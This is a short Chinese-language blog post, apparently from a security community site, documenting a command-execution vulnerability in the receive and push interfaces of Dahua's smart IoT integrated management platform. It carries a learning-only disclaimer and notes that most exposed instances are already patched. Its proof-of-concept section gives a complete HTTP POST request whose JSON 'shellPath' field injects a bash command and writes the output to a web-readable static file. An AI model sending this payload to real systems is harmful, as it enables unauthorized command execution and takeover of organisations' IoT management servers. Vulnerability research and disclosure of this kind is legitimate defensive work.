大华智能物联网综合管理平台 receive 命令执行漏洞

勾八

5天前发布

740

目前该漏洞互联网上资产基本都已修复，官方应该是做了热补丁，本文只做记录分析学习。

先关注，不迷路.

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

漏洞介绍

大华智能物联综合管理平台，作为浙江大华技术股份有限公司推出的一款集成了多项业务管理功能的平台软件，该平台主要面向智能园区、商业综合体等多种应用场景，旨在提供一个全面、高效的解决方案，为客户提供一套集成、高效、开放、灵活可扩展、可定制的平台软件产品。功能全面、灵活可扩展、安全可靠的智能物联基础软件平台，能够满足企业在不同场景下的各种业务需求，助力企业实现数智化转型升级。大华智能物联综合管理平台receive和push接口存在命令执行漏洞，攻击者可利用该漏洞获取系统权限。

漏洞复现

POC:

POST /evo-runs/v1.0/receive
POST /evo-runs/v1.0/push
POST /evo-runs/v1.0/receive HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Content-Length: 258
Content-Type: application/json
X-Subject-Headerflag: ADAPT
Accept-Encoding: gzip, deflate

{
 "method": "agent.ossm.mapping.config",
 "info": {
  "configure": "abcd",
  "filePath": "haha",
  "paramMap": {
   "shellPath": "/bin/bash -c id>/opt/evoWpms/static/xxx.txt",
   "filePath": "abc"
  },
  "requestIp": ""
}